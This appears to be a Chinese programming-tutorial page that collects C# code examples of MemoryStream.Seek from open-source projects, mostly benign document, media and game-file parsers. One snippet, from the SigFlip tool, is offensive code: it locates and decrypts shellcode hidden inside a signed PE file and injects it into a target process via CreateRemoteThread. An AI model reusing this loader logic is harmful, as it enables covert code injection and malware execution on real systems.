C# MemoryStream.Seek的代码示例
通过代码示例来学习C# MemoryStream.Seek方法
通过代码示例来学习编程是非常高效的。
1. 代码示例提供了一个具体而直观的学习环境,使初学者能够立即看到编程概念和语法的实际应用。
2. 通过分析和模仿现有的代码实例,初学者可以更好地理解编程逻辑和算法的工作原理。
3. 代码实例往往涵盖了多种编程技巧和最佳实践,通过学习和模仿这些实例,学习者可以逐步掌握如何编写高效、可读性强和可维护的代码。这对于初学者来说,是一种快速提升编程水平的有效途径。
MemoryStream.Seek是C#的System.IO命名空间下中的一个方法, 小编为大家找了一些网络大拿们常见的代码示例,源码中的MemoryStream.Seek() 已经帮大家高亮显示了,大家可以重点学习MemoryStream.Seek() 方法的写法,从而快速掌握该方法的应用。
MemoryStream.Seek的代码示例1 - InternalCopy()
using System.IO; #endregion #region Internal Methods protected internal override Xceed.Document.NET.Document InternalCopy( bool closePackage = false ) { try { var initialDoc = this; if( this.IsPackageClosed( _package ) ) { initialDoc = DocX.ReloadDocumentFromFileName( this ) as DocX; } initialDoc._canClosePackage = closePackage; initialDoc._isCopyingDocument = true; var memorystream = new MemoryStream(); initialDoc.SaveAs( memorystream ); initialDoc._isCopyingDocument = false; initialDoc._canClosePackage = true; memorystream.Seek( 0, SeekOrigin.Begin ); var doc = DocX.Load( memorystream ); doc.SetFileName( initialDoc._filename ); return doc; } catch( Exception ) { throw new InvalidOperationException( "The copy of the document could not be done." ); } }
开发者ID:xceedsoftware,项目名称:DocX,代码行数:48,代码来源:DocX.cs
在InternalCopy()方法中,MemoryStream的代码示例类中的Seek的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞
MemoryStream.Seek的代码示例2 - Main()
using System.IO; public static void Main(string[] args) { ArgumentParser _parser = new ArgumentParser(args); if (args.Length <= 0 || _parser.GetOrDefault("h", "help") == "true") { Help(); } if (_parser.GetOrDefault("f", "null") != "null") { _pePath = _parser.GetOrDefault("f", "null"); _encKey = _parser.GetOrDefault("e", "null"); _pid = _parser.GetOrDefault("pid", "null"); if (_pePath == "null") Help(); if (_pid == "null") Help(); } else { Help(); } if (!File.Exists(_pePath)) Help(); Console.WriteLine("[+]:Loading/Parsing PE File '{0}'", _pePath); Console.WriteLine(); byte[] _peBlob = Utils.Read(_pePath); int _dataOffset = Utils.scanPattern(_peBlob, _tag); Console.WriteLine("[+]:Scanning for Shellcode..."); if ( _dataOffset == -1) { Console.WriteLine("Could not locate data or shellcode"); Environment.Exit(0); } Stream stream = new MemoryStream(_peBlob); long pos = stream.Seek(_dataOffset + _tag.Length, SeekOrigin.Begin); Console.WriteLine("[+]: Shellcode located at {0:x2}", pos); byte[] shellcode = new byte[_peBlob.Length - (pos + _tag.Length)]; stream.Read(shellcode, 0, (_peBlob.Length)- ((int)pos + _tag.Length)); byte[] _data = Utils.Decrypt(shellcode, _encKey); stream.Close(); //Execute shellcode (just a basic/vanilla local shellcode injection logic, make sure to CHANGE this and use your custom shellcode loader. //CreateThread //ExecShellcode(_data); //CreateRemoteThread Loader.rexec(Convert.ToInt32(_pid), _data); }
开发者ID:med0x2e,项目名称:SigFlip,代码行数:56,代码来源:Program.cs
在Main()方法中,MemoryStream的代码示例类中的Seek的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞
MemoryStream.Seek的代码示例3 - GetEmbeddedBitmap()
using System.IO; ///
/// Extracts the bitmap embedded into MSI (into Binary table). /// /// The session. /// The name on resource in the Binary table. ///public static Bitmap GetEmbeddedBitmap(this Session session, string binary) { try { using (var sql = session.Database.OpenView("select Data from Binary where Name = '" + binary + "'")) { sql.Execute(); using (var record = sql.Fetch()) using (var stream = record.GetStream(1)) using (var ms = new IO.MemoryStream()) { int Length = 256; var buffer = new Byte[Length]; int bytesRead = stream.Read(buffer, 0, Length); while (bytesRead > 0) { ms.Write(buffer, 0, bytesRead); bytesRead = stream.Read(buffer, 0, Length); } ms.Seek(0, IO.SeekOrigin.Begin); return (Bitmap)Bitmap.FromStream(ms); } } } catch { } return null; }
开发者ID:oleg-shilo,项目名称:wixsharp,代码行数:37,代码来源:Extensions.cs
在GetEmbeddedBitmap()方法中,MemoryStream的代码示例类中的Seek的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞
MemoryStream.Seek的代码示例4 - ReadShaderParams()
public static void ReadShaderParams(this FMAT m, Material mat) { m.matparam.Clear(); if (mat.ShaderParamData == null) return; using (FileReader reader = new FileReader(new System.IO.MemoryStream(mat.ShaderParamData))) { reader.ByteOrder = Syroot.BinaryData.ByteOrder.LittleEndian; foreach (ShaderParam param in mat.ShaderParams) { BfresShaderParam shaderParam = new BfresShaderParam(); shaderParam.Type = param.Type; shaderParam.Name = param.Name; shaderParam.DependedIndex = param.DependedIndex; shaderParam.DependIndex = param.DependIndex; reader.Seek(param.DataOffset, System.IO.SeekOrigin.Begin); shaderParam.ReadValue(reader, (int)param.DataSize); m.matparam.Add(param.Name, shaderParam); } reader.Close(); } }
开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:26,代码来源:BfresSwitch.cs
在ReadShaderParams()方法中,MemoryStream的代码示例类中的Seek的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞
MemoryStream.Seek的代码示例5 - ReadShaderParams()
using System.IO; public static void ReadShaderParams(this FMAT m, Material mat) { m.matparam.Clear(); if (mat.ShaderParamData == null) return; using (FileReader reader = new FileReader(new System.IO.MemoryStream(mat.ShaderParamData))) { reader.ByteOrder = Syroot.BinaryData.ByteOrder.BigEndian; foreach (ShaderParam param in mat.ShaderParams.Values) { BfresShaderParam shaderParam = new BfresShaderParam(); shaderParam.Type = shaderParam.GetTypeWiiU(param.Type); shaderParam.Name = param.Name; shaderParam.HasPadding = param.UsePadding; shaderParam.PaddingLength = param.PaddingLength; shaderParam.DependedIndex = param.DependedIndex; shaderParam.DependIndex = param.DependIndex; reader.Seek(param.DataOffset, System.IO.SeekOrigin.Begin); shaderParam.ReadValue(reader, (int)param.DataSize); m.matparam.Add(param.Name, shaderParam); } reader.Close(); } }
开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:29,代码来源:BfresWiiU.cs
在ReadShaderParams()方法中,MemoryStream的代码示例类中的Seek的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞
MemoryStream.Seek的代码示例6 - Read()
using System.IO; public void Read(FileReader reader) { string Signature = reader.ReadString(8, Encoding.ASCII); if (Signature != "GFLXPACK") throw new Exception($"Invalid signature {Signature}! Expected GFLXPACK."); GFPAKHashCache.EnsureHashCache(); version = reader.ReadInt32(); uint padding = reader.ReadUInt32(); uint FileCount = reader.ReadUInt32(); FolderCount = reader.ReadInt32(); ulong FileInfoOffset = reader.ReadUInt64(); ulong hashArrayPathsOffset = reader.ReadUInt64(); ulong FolderArrayOffset = reader.ReadUInt64(); reader.Seek((long)FolderArrayOffset, SeekOrigin.Begin); List
hashes = new List (); List FolderFiles = new List (); for (int i = 0; i < FolderCount; i++) { Folder folder = new Folder(); folder.Read(reader); folders.Add(folder); foreach (var hash in folder.hashes) FolderFiles.Add(hash); } reader.Seek((long)hashArrayPathsOffset, SeekOrigin.Begin); for (int i = 0; i < FileCount; i++) { ulong hash = reader.ReadUInt64(); hashes.Add(hash); } GeneratePokeStrings(); reader.Seek((long)FileInfoOffset, SeekOrigin.Begin); for (int i = 0; i < FileCount; i++) { FileEntry fileEntry = new FileEntry(this); fileEntry.Read(reader); string Extension = FindMatch(fileEntry.FileData); if (Extension.EndsWith("gfbanmcfg") && version != 0x1000) { GFBANMCFG cfg = new GFBANMCFG(); cfg.Load(new MemoryStream(fileEntry.FileData)); GenerateAnmCfgStrings(cfg); } files.Add(fileEntry); } for (int i = 0; i < FileCount; i++) { FileEntry fileEntry = files[i]; for (int f = 0; f < FolderFiles.Count; f++) if (FolderFiles[f].Index == i) fileEntry.FolderHash = FolderFiles[f]; var dir = fileEntry.FolderHash.Parent; fileEntry.FileName = GetString(hashes[i], fileEntry.FolderHash, fileEntry.FileData); fileEntry.FilePathHash = hashes[i]; } GFPAKHashCache.WriteCache(); }
开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:75,代码来源:GFPAK.cs
在Read()方法中,MemoryStream的代码示例类中的Seek的代码示例方法一共出现了3次, 见黄色背景高亮显示的地方,欢迎大家点赞
MemoryStream.Seek的代码示例7 - Inflate()
using System.IO; static ByteVector Inflate (ByteVector data) { using (var out_stream = new MemoryStream ()) using (var input = new MemoryStream (data.Data)) { input.Seek (2, SeekOrigin.Begin); // First 2 bytes are properties deflate does not need (or handle) using (var zipstream = new DeflateStream (input, CompressionMode.Decompress)) { //zipstream.CopyTo (out_stream); Cleaner with .NET 4 byte[] buffer = new byte[1024]; int written_bytes; while ((written_bytes = zipstream.Read (buffer, 0, 1024)) > 0) out_stream.Write (buffer, 0, written_bytes); return new ByteVector (out_stream.ToArray ()); } } }
开发者ID:mono,项目名称:taglib-sharp,代码行数:19,代码来源:File.cs
在Inflate()方法中,MemoryStream的代码示例类中的Seek的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞
MemoryStream.Seek的代码示例8 - ParseIFDEntry()
using System.IO; #endregion ///
/// Try to parse the given IFD entry, used to discover format-specific entries. /// /// /// Awith the tag of the entry. /// /// /// A with the type of the entry. /// /// /// A with the data count of the entry. /// /// /// A with the base offset which every offsets in the /// IFD are relative to. /// /// /// A with the offset of the entry. /// /// /// A protected override IFDEntry ParseIFDEntry (ushort tag, ushort type, uint count, long base_offset, uint offset) { if (tag == 0x002e && !seen_jpgfromraw) { // FIXME: JpgFromRaw file.Seek (base_offset + offset, SeekOrigin.Begin); var data = file.ReadBlock ((int)count); var mem_stream = new MemoryStream (data.Data); var res = new StreamJPGAbstraction (mem_stream); (file as File).JpgFromRaw = new Jpeg.File (res, ReadStyle.Average); seen_jpgfromraw = true; return null; } return base.ParseIFDEntry (tag, type, count, base_offset, offset); }with the given parameters, or null if none was parsed, after /// which the normal TIFF parsing is used. ///
开发者ID:mono,项目名称:taglib-sharp,代码行数:44,代码来源:IFDReader.cs
在ParseIFDEntry()方法中,MemoryStream的代码示例类中的Seek的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞
本文中的MemoryStream.Seek方法示例由csref.cn整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。